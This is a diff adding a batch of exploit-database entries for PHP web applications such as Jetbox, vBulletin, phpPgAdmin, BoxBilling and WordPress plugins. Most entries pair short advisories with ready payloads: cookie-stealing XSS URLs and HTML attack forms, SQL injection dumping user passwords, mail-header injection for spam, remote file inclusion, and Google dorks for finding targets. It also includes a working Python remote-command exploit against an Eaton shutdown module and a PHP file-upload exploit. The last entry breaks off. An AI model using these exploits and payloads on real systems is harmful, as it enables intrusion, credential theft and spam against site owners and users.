+++ b/platforms/php/webapps/30040.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/23989/info
+
+Jetbox CMS is prone to an input-validation vulnerabilitiy because it fails to adequately sanitize user-supplied input.
+
+Attackers can exploit this issue to send spam email in the context of the application.
+
+Jetbox 2.1 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide 
\ No newline at end of file
diff --git a/platforms/php/webapps/30041.txt b/platforms/php/webapps/30041.txt
new file mode 100755
index 000000000..4cb7308e2
--- /dev/null
+++ b/platforms/php/webapps/30041.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/23999/info
+
+Jetbox CMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Jetbox CMS 2.1 is vulnerable. 
+
+http://www.example.com/jetbox/index.php/view/search/?path=[xss]
\ No newline at end of file
diff --git a/platforms/php/webapps/30042.txt b/platforms/php/webapps/30042.txt
new file mode 100755
index 000000000..9521aefa1
--- /dev/null
+++ b/platforms/php/webapps/30042.txt
@@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/23999/info
+ 
+Jetbox CMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+ 
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
+ 
+Jetbox CMS 2.1 is vulnerable. 
+
+http://www.example.com/jetbox/index.php/view/supplynews/?companyname=[xss] 
+http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=[xss] 
+http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=[xss] 
+http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&require[xss] 
+http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=[xss] 
+http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=1&text=1&title=[xss] 
\ No newline at end of file
diff --git a/platforms/php/webapps/30047.txt b/platforms/php/webapps/30047.txt
new file mode 100755
index 000000000..2adad8af1
--- /dev/null
+++ b/platforms/php/webapps/30047.txt
@@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/24020/info
+
+vBulletin is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
+
+Note that the attacker must have authenticated access to the affected application.
+
+This issue is reported to affect vBulletin 3.6.6 and prior versions. 
+
+
+http://www.example.com/vbulletin/calendar.php?do=add&type=single&c=1
+--> fill up the title field with :
+</title><script>alert(document.cookie)</script>
diff --git a/platforms/php/webapps/30050.html b/platforms/php/webapps/30050.html
new file mode 100755
index 000000000..3c3eb78c0
--- /dev/null
+++ b/platforms/php/webapps/30050.html
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24037/info
+
+Redoable is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+Redoable 1.2 is vulnerable; other versions may also be affected. 
+
+<!-- Redoable 1.2 - Cross-Site Scripting Vulnerability --------------- Vulnerable Code --------------- header.php (line 6): ... elseif (is_search()) { ?> Search for <?php echo $s } ... searchloop.php (line 24): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), $s); } ------------ Patched Code ------------ header.php (line 6 FIXED): ... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ... searchloop.php (line 24 FIXED): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), strip_tags($s)); } Vulnerable Variable: s Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php Vulnerable: Redoable 1.2 (other versions should also be vulnerable) Google d0rk: "and Redoable 1.2" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 17th, 2007 !--> <html> <head><title>Redoable 1.2 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=%22and+Redoable+1.2%22">"and Redoable 1.2"</a> </font><br><br><br> <center>file <b>index.php</b> - variable <b>s</b> - method <b>get</b></center><br> <form action="http://www.example.com/index.php" method="get"> <input size=75 name="s" value="</title><script>alert(1)</script>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html> 
\ No newline at end of file
diff --git a/platforms/php/webapps/30051.txt b/platforms/php/webapps/30051.txt
new file mode 100755
index 000000000..8f7426fe5
--- /dev/null
+++ b/platforms/php/webapps/30051.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24039/info
+
+PsychoStats is prone to a path-disclosure issue when invalid data is submitted.
+
+Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer.
+
+PsychoStats 3.0.6b and prior versions are vulnerable to this issue. 
+
+http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00 
\ No newline at end of file
diff --git a/platforms/php/webapps/30053.txt b/platforms/php/webapps/30053.txt
new file mode 100755
index 000000000..b72c1f018
--- /dev/null
+++ b/platforms/php/webapps/30053.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/24061/info
+
+ClientExec is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+ClientExec 3.0.0 beta2 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/[path]/index.php?ticketID=[xss]
+http://www.example.com/[path]/index.php?view=[xss]
+http://www.example.com/[path]/index.php?fuse=[xss] 
\ No newline at end of file
diff --git a/platforms/php/webapps/30057.txt b/platforms/php/webapps/30057.txt
new file mode 100755
index 000000000..72a470481
--- /dev/null
+++ b/platforms/php/webapps/30057.txt
@@ -0,0 +1,72 @@
+----------------------------------------------------------
+openSIS <= 5.2 (ajax.php) PHP Code Injection Vulnerability
+----------------------------------------------------------
+
+
+[-] Software Link:
+
+http://www.opensis.com/
+
+
+[-] Affected Versions:
+
+All versions from 4.5 to 5.2.
+
+
+[-] Vulnerability Description:
+
+The vulnerable code is located in the /ajax.php script:
+
+86.	if(clean_param($_REQUEST['modname'],PARAM_NOTAGS))
+87.	{
+88.		if($_REQUEST['_openSIS_PDF']=='true')
+89.			ob_start();
+90.		if(strpos($_REQUEST['modname'],'?')!==false)
+91.		{
+92.			$vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));
+93.			$modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));
+94.	
+95.			$vars = explode('?',$vars);
+96.			foreach($vars as $code)
+97.			{
+98.				$code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");
+99.				eval($code);
+100.			}
+101.		}
+
+User input passed through the "modname" request variable is not properly sanitized before being used in
+a call to the eval() function at line 99. This can be exploited to inject and execute arbitrary PHP code.
+
+
+[-] Solution:
+
+As of December 5th, 2013 the only solution is this patch: http://sourceforge.net/p/opensis-ce/code/1009
+
+
+[-] Disclosure Timeline:
+
+[04/12/2012] - Issue reported to http://sourceforge.net/p/opensis-ce/bugs/59/
+[28/12/2012] - Vendor contacted, replied that the next version will fix the issue
+[12/01/2013] - CVE number requested
+[14/01/2013] - CVE number assigned
+[26/04/2013] - Version 5.2 released, however the issue isn't fixed yet
+[12/05/2013] - Vendor contacted again
+[15/05/2013] - Issue temporarily fixed in the SVN repository (r1009)
+[04/12/2013] - After one year still no official solution available
+
+
+[-] CVE Reference:
+
+The Common Vulnerabilities and Exposures project (cve.mitre.org)
+has assigned the name CVE-2013-1349 to this vulnerability.
+
+
+[-] Credits:
+
+Vulnerability discovered by Egidio Romano.
+
+
+[-] Original Advisory:
+
+http://karmainsecurity.com/KIS-2013-10
+
diff --git a/platforms/php/webapps/30059.py b/platforms/php/webapps/30059.py
new file mode 100755
index 000000000..38e9a4a54
--- /dev/null
+++ b/platforms/php/webapps/30059.py
@@ -0,0 +1,71 @@
+#!/usr/bin/env python
+# 
+# Quick 'n' Dirty - Metasploit module didn't do it for me
+# 2013 - Filip Waeytens - http://www.wsec.be
+#
+# Usage Example:
+##~  $ python eaton.py 192.168.1.9 "net user"
+#
+#User accounts for \\
+#
+#-------------------------------------------------------------------------------
+#Guest                    LocalAdmin               
+#The command completed with one or more errors.
+#
+# Exploit Title: Eaton shutdown module php eval exploit
+# Date: 5 dec2013
+# Exploit Author: Filip Waeytens
+# Vendor Homepage: powerquality.eaton.com
+# Software Link: http://powerquality.eaton.com/Products-services/Power-Management/Software-Drivers/network-shutdown.asp
+# Version: 3.21
+# Tested on: WIN
+#References:
+###Exploit Database: 23006
+###Secunia Advisory ID: 49103
+###Bugtraq ID: 54161
+###Related OSVDB ID: 83200 83201
+###Packet Storm: http://packetstormsecurity.org/files/118420/Network-Shutdown-Module-3.21-Remote-PHP-Code-Injection.html
+#
+
+import httplib
+import urllib
+import sys
+import BeautifulSoup
+
+#### First argument is the target IP - port defaults to 4679
+
+targetip = sys.argv[1]
+command = sys.argv[2]
+targetport=4679
+
+
+#### if a command has spaces: put between double quotes, the next lines strip the quotes
+
+if command.startswith('"') and string.endswith('"'):
+    command = command[1:-1]
+
+#### build the urL to request
+    
+baserequest = "/view_list.php?paneStatusListSortBy="
+wrappedcommand="${@print(system(\""+command+"\"))}"
+ue_command = urllib.quote_plus(wrappedcommand)
+
+#### send request
+conn = httplib.HTTPConnection(targetip+":"+str(targetport))
+conn.request("GET", baserequest+ue_command)
+r1 = conn.getresponse()
+#print "Getting answer: "
+#print r1.status, r1.reason
+#print "sent http://"+targetip+":"+str(targetport)+baserequest+ue_command
+data1 = r1.read()
+
+
+#### extract answer
+
+soup = BeautifulSoup.BeautifulSoup(data1)
+for p in soup.findAll("p"):
+            #print dir(p)
+            #strip first line
+            
+            result = p.getText().split("Warning")[0]
+            print result.replace("Multi-source information on the power devices suppying the protected server","",1)
diff --git a/platforms/php/webapps/30063.txt b/platforms/php/webapps/30063.txt
new file mode 100755
index 000000000..730358f7a
--- /dev/null
+++ b/platforms/php/webapps/30063.txt
@@ -0,0 +1,16 @@
+# Exploit Title: WordPress DZS Video Gallery (dzs-videogallery) 3.1.3 Plugins Remote and Local File Disclosure Vulnerability (only .SWF)
+# Google Dork: inurl:/wp-content/plugins/dzs-videogallery/
+# Vendor Homepage: http://digitalzoomstudio.net/
+# Version: ALL
+# Affected File: preview.php
+# Date: 03/12/2013
+# Exploit Author: aceeeeeeeer
+# Contact: http://www.twitter.com/aceeeeeeeer
+# Tested on: Linux
+
+Exploit:
+/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=[
+SWF LINK ]
+
+http://localhost/wp/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=http://www.cristgaming.com/pirate.swf
+http://localhost/wp/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=../../../../uploads/2013/12/The_Exorcist.swf
\ No newline at end of file
diff --git a/platforms/php/webapps/30064.txt b/platforms/php/webapps/30064.txt
new file mode 100755
index 000000000..38a52c3e4
--- /dev/null
+++ b/platforms/php/webapps/30064.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24063/info
+
+HLstats is prone to mulitiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
+
+Exploiting these issues may help an attacker steal cookie-based authentication credentials and launch other attacks.
+
+HLstats 1.35 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/hlstats/hlstats.php/>"><script>alert(1)</script> http://www.example.com/hlstats/hlstats.php?action=[xss] 
\ No newline at end of file
diff --git a/platforms/php/webapps/30065.html b/platforms/php/webapps/30065.html
new file mode 100755
index 000000000..ec897b53a
--- /dev/null
+++ b/platforms/php/webapps/30065.html
@@ -0,0 +1,41 @@
+source: http://www.securityfocus.com/bid/24066/info
+
+GaliX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+GaliX 2.0 is vulnerable to these issues; other versions may also be affected. 
+
+<!--
+
+GaliX? v2.0 - Cross-Site Scripting Exploit
+
+Multiple Vulnerable Variables: galix_cat_detail_sort, galix_cat_detail, galix_gal_detail, galix_cat_detail
+Vulnerable: Galix v2.0 (other versions should also be vulnerable)
+Google d0rk: "GaliX? v2.0"
+
+John Martinelli
+john@martinelli.com
+
+RedLevel Security
+RedLevel.org
+
+April 18th, 2007
+
+!-->
+
+<html>
+<head><title>GaliX? v2.0 - Cross-Site Scripting Exploit</title><body>
+
+<center><br><br><font size=4>GaliX? v2.0 - Cross-Site Scripting Exploit</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br>Google d0rk: <a href="http://www.google.com/search?hl=en&q=GaliX%C2%B2+v2.0">"GaliX? v2.0"</a></font><br>
+
+<br><br>
+<form action="http://www.example.com/path/index.php" method="post">
+<input name="galix_action" type="hidden" value="galery">
+<input name="galix_cat_detail" size=75 value="<"<<script>alert(1);</script>">
+<input name="galix_cat_detail_sort" type="hidden" value="1">
+<input name="galix_language_change" type="hidden" value="1">
+<input type=submit value="Execute XSS Attack" class="button">
+</form>
+
+</body></html>
\ No newline at end of file
diff --git a/platforms/php/webapps/30066.txt b/platforms/php/webapps/30066.txt
new file mode 100755
index 000000000..4628de4a9
--- /dev/null
+++ b/platforms/php/webapps/30066.txt
@@ -0,0 +1,13 @@
+source: http://www.securityfocus.com/bid/24077/info
+
+Jetbox is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Jetbox 2.1 is vulnerable; other versions may also be affected. 
+
+
+http://www.example.com/path//index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23
+
+http://www.example.com/path//index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1@mail.com%0ABcc: spam_address2@somedomain.com, spam_address2 somedomain.com, spam_address4@somedomain.com, spam_addressNsomedomain.com%0ASubject: Some Spam Subject%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide',1 FROM `user` %23
+
diff --git a/platforms/php/webapps/30068.txt b/platforms/php/webapps/30068.txt
new file mode 100755
index 000000000..cacc7c21f
--- /dev/null
+++ b/platforms/php/webapps/30068.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24095/info
+
+Jetbox CMS is prone to a cross-site scripting vulnerability.
+
+This vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+Jetbox 2.1 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/product/index.php?view=webuser&task=sendpw&login=<script>alert(document.cookies)</script> 
\ No newline at end of file
diff --git a/platforms/php/webapps/30070.html b/platforms/php/webapps/30070.html
new file mode 100755
index 000000000..b09e572a9
--- /dev/null
+++ b/platforms/php/webapps/30070.html
@@ -0,0 +1,28 @@
+source: http://www.securityfocus.com/bid/24101/info
+
+ClonusWiki is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
+
+This issue is reported to affect ClonusWiki 0.5.
+
+
+<html>
+<head><title>ClonusWiki .5 - Cross-Site Scripting Vulnerability</title><body>
+<center><br><br>
+<font size=4>ClonusWiki .5 - Cross-Site Scripting Vulnerability</font><br>
+<font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a
+href="http://redlevel.org">RedLevel Security</a><br><br>
+Google d0rk: <a href="http://www.google.com/search?hl=en&q=%22ClonusWiki+.5%22+intitle%3A%22ClonusWiki%22">"ClonusWiki
+.5" intitle:"ClonusWiki"</a>
+</font><br><br><br>
+
+<center>file <b>index.php</b> - variable <b>query</b> - method <b>get</b></center><br>
+<form action="http://clonuswiki.sourceforge.net" method="get">
+<input size=75 name="query" value=">"><script>alert(1)</script>">
+<input type="hidden" name="action" value="search">
+<input type=submit value="Execute XSS Attack" class="button">
+</form>
+<br>
+
+</body></html>
diff --git a/platforms/php/webapps/30071.txt b/platforms/php/webapps/30071.txt
new file mode 100755
index 000000000..594013771
--- /dev/null
+++ b/platforms/php/webapps/30071.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24103/info
+
+ABC Excel Parser Pro is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
+
+ABC Excel Parser Pro 4.0 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/[path]/sample/xls2mysql/parser_path=shell.txt? 
\ No newline at end of file
diff --git a/platforms/php/webapps/30072.txt b/platforms/php/webapps/30072.txt
new file mode 100755
index 000000000..1b9105b94
--- /dev/null
+++ b/platforms/php/webapps/30072.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24106/info
+
+PsychoStats is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+PsychoStats 3.0.6b is vulnerable; other versions may also be affected.
+
+http://www.example.com/psychostats/weapons.php/>"><script>alert(1)</script> 
\ No newline at end of file
diff --git a/platforms/php/webapps/30073.txt b/platforms/php/webapps/30073.txt
new file mode 100755
index 000000000..889d5518a
--- /dev/null
+++ b/platforms/php/webapps/30073.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24108/info
+
+GMTT Music Distro is prone to a cross-site scripting vulnerability.
+
+This vulnerability potentially allows an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+GMTT Music Distro 1.2 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/path/showown.php?st=XSS 
\ No newline at end of file
diff --git a/platforms/php/webapps/30075.txt b/platforms/php/webapps/30075.txt
new file mode 100755
index 000000000..f2b62275c
--- /dev/null
+++ b/platforms/php/webapps/30075.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24115/info
+
+phpPgAdmin is prone to a cross-site scripting vulnerability.
+
+Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+phpPgAdmin 4.1.1 is reported vulnerable; other versions may also be affected. 
+
+https://www.example.com/phpPgAdmin/sqledit.php?server=[xss] 
\ No newline at end of file
diff --git a/platforms/php/webapps/30076.txt b/platforms/php/webapps/30076.txt
new file mode 100755
index 000000000..4e78e63d5
--- /dev/null
+++ b/platforms/php/webapps/30076.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24117/info
+
+W�YS is prone to a cross-site scripting vulnerability.
+
+Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+W�YS 1.0 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/index.php?Page=Sayfa&No="><script>alert(document.cookie)</script>
\ No newline at end of file
diff --git a/platforms/php/webapps/30079.txt b/platforms/php/webapps/30079.txt
new file mode 100755
index 000000000..4c3f1f0e4
--- /dev/null
+++ b/platforms/php/webapps/30079.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24122/info
+
+2z Project is prone to a cross-site scripting vulnerability.
+
+Exploiting this vulnerability could allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+2z Project 0.9.5 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/2zcms/?category=none&altname=testnews&rating=xxx 
\ No newline at end of file
diff --git a/platforms/php/webapps/30081.txt b/platforms/php/webapps/30081.txt
new file mode 100755
index 000000000..1b0a9d864
--- /dev/null
+++ b/platforms/php/webapps/30081.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24135/info
+
+ASP-Nuke is prone to a cross-site scripting vulnerability.
+
+Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+ASP-Nuke 2.0.7 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/news.asp?id="><script>alert("Vagrant")</script>
diff --git a/platforms/php/webapps/30082.txt b/platforms/php/webapps/30082.txt
new file mode 100755
index 000000000..6f916152b
--- /dev/null
+++ b/platforms/php/webapps/30082.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24152/info
+
+Gnuturk is prone to a cross-site scripting vulnerability.
+
+Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+Gnuturk 3G is vulnerable to this issue.
+
+http://www.target.com/mods.php?go=News&p=ln&year=2007&month="><h1>Vagrant</h1><script>alert(document.cookie)</script> 
\ No newline at end of file
diff --git a/platforms/php/webapps/30083.txt b/platforms/php/webapps/30083.txt
new file mode 100755
index 000000000..0befce671
--- /dev/null
+++ b/platforms/php/webapps/30083.txt
@@ -0,0 +1,51 @@
+?
+BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability
+
+
+Vendor: BoxBilling
+Product web page: http://www.boxbilling.com
+Affected version: 3.6.11 (mod_notification 1.0.0)
+
+Summary: BoxBilling is a free billing, invoicing & client management software.
+
+Desc: BoxBilling suffers from a stored cross-site scripting vulnerability.
+Input passed to the 'message' POST parameter thru the 'Notification Center'
+extension/module is not properly sanitised before being returned to the user.
+This can be exploited to execute arbitrary HTML and script code in a user's
+browser session in context of an affected site.
+
+Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
+           Apache 2.4.2 (Win32)
+           PHP 5.4.7
+           MySQL 5.5.25a
+
+
+Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
+                            @zeroscience
+
+
+Advisory ID: ZSL-2013-5163
+Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5163.php
+
+
+05.12.2013
+
+--
+
+
+POST /boxbilling/index.php/api/admin/notification/add HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
+Accept: application/json, text/javascript, */*; q=0.01
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+X-Requested-With: XMLHttpRequest
+Referer: http://localhost/boxbilling/bb-admin.php/notification
+Content-Length: 66
+Cookie: BOXADMR=e%3DZ2pva29AemVyb3NjaWVuY2UubWs%3D%26p%3DZDAzM2UyMmFlMzQ4YWViNTY2MGZjMjE0MGFlYzM1ODUwYzRkYTk5Nw%3D%3D; BOXSID=gsbhumqgrjja1hrei31v3uc4m6
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+
+message=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E
diff --git a/platforms/php/webapps/30084.php b/platforms/php/webapps/30084.php
new file mode 100755
index 000000000..e3c93c731
--- /dev/null
+++ b/platforms/php/webapps/30084.php
@@ -0,0 +1,33 @@
+###############################################################
+# Exploit Title: Wordpress page-flip-image-gallery plugins Remote File
+Upload Vulnerability
+# Author: Ashiyane Digital Security Team
+# Date: 12/06/2013
+# Vendor Homepage: http://pageflipgallery.com
+# Software Link :
+http://downloads.wordpress.org/plugin/page-flip-image-gallery.zip
+# Google dork: inurl:/wp-content/plugins/page-flip-image-gallery/
+# Tested on: Windows/Linux
+###############################################################
+
+1)Exploit :
+= = = = = =
+
+<?php
+$uploadfile="file.php";
+$ch = curl_init("
+http://127.0.0.1/wp-content/plugins/page-flip-image-gallery/upload.php");
+curl_setopt($ch, CURLOPT_POST, true);
+curl_setopt($ch, CURLOPT_POSTFIELDS,
+array('orange_themes'=>"@$uploadfile")); curl_setopt($ch,
+CURLOPT_RETURNTRANSFER, 1);
+$postResult = curl_exec($ch);
+curl_close($ch); print "$postResult";
+?>
+
+http://[Target]/wp-content/uploads/file.php
+
+# #### #### #### #### #### #### #### #### #
+# BY T3rm!nat0r5
+# E-mail : poya.terminator@gmail.com
+# #### #### #### #### #### #### #### #### #
diff --git a/platforms/php/webapps/30086.txt b/platforms/php/webapps/30086.txt
new file mode 100755
index 000000000..229c47029
--- /dev/null
+++ b/platforms/php/webapps/30086.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/24156/info
+
+BoastMachine is prone to a cross-site scripting vulnerability.
+
+Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 
+
+http://www.target.com/index.php?action=search&item=content&blog=[xss] 
\ No newline at end of file
diff --git a/platforms/php/webapps/30087.txt b/platforms/php/webapps/30087.txt
new file mode 100755
index 000000000..319beb656
--- /dev/null
+++ b/platforms/php/webapps/30087.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24157/info
+
+Digirez is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Digirez 3.4 is vulnerable to these issues. 
+
+http://www.example.com/room/info_book.asp?Room_name='><script>alert(1);</script> http://www.example.com/room/week.asp?curYear='><script>alert(1);</script> 
\ No newline at end of file
diff --git a/platforms/php/webapps/30088.txt b/platforms/php/webapps/30088.txt
new file mode 100755
index 000000000..edbd66021
--- /dev/null
+++ b/platforms/php/webapps/30088.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24158/info
+
+Pligg is prone to a security-bypass vulnerability due to a design error when resetting forgotten passwords.
+
+An attacker may exploit this issue to reset account passwords for arbitrary users and then compromise a vulnerable application. This can also aid the attacker in further attacks.
+
+Pligg 9.5 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/login.php?processlogin=4&username=admin&confirmationcode=1234567891e2f566cbda0a9c855240bf21b8bae030404cad7 
\ No newline at end of file
diff --git a/platforms/php/webapps/30090.txt b/platforms/php/webapps/30090.txt
new file mode 100755
index 000000000..2f8d7328e
--- /dev/null
+++ b/platforms/php/webapps/30090.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/24182/info
+
+phpPgAdmin is prone to a cross-site scripting vulnerability.
+
+Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 
+
+http://www.example.com/redirect.php/%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E?subject=server&server=test 
\ No newline at end of file
diff --git a/platforms/php/webapps/30092.txt b/platforms/php/webapps/30092.txt
new file mode 100755
index 000000000..e04e6895c
--- /dev/null
+++ b/platforms/php/webapps/30092.txt
@@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/24190/info
+
+FlashChat is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
+
+An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
+
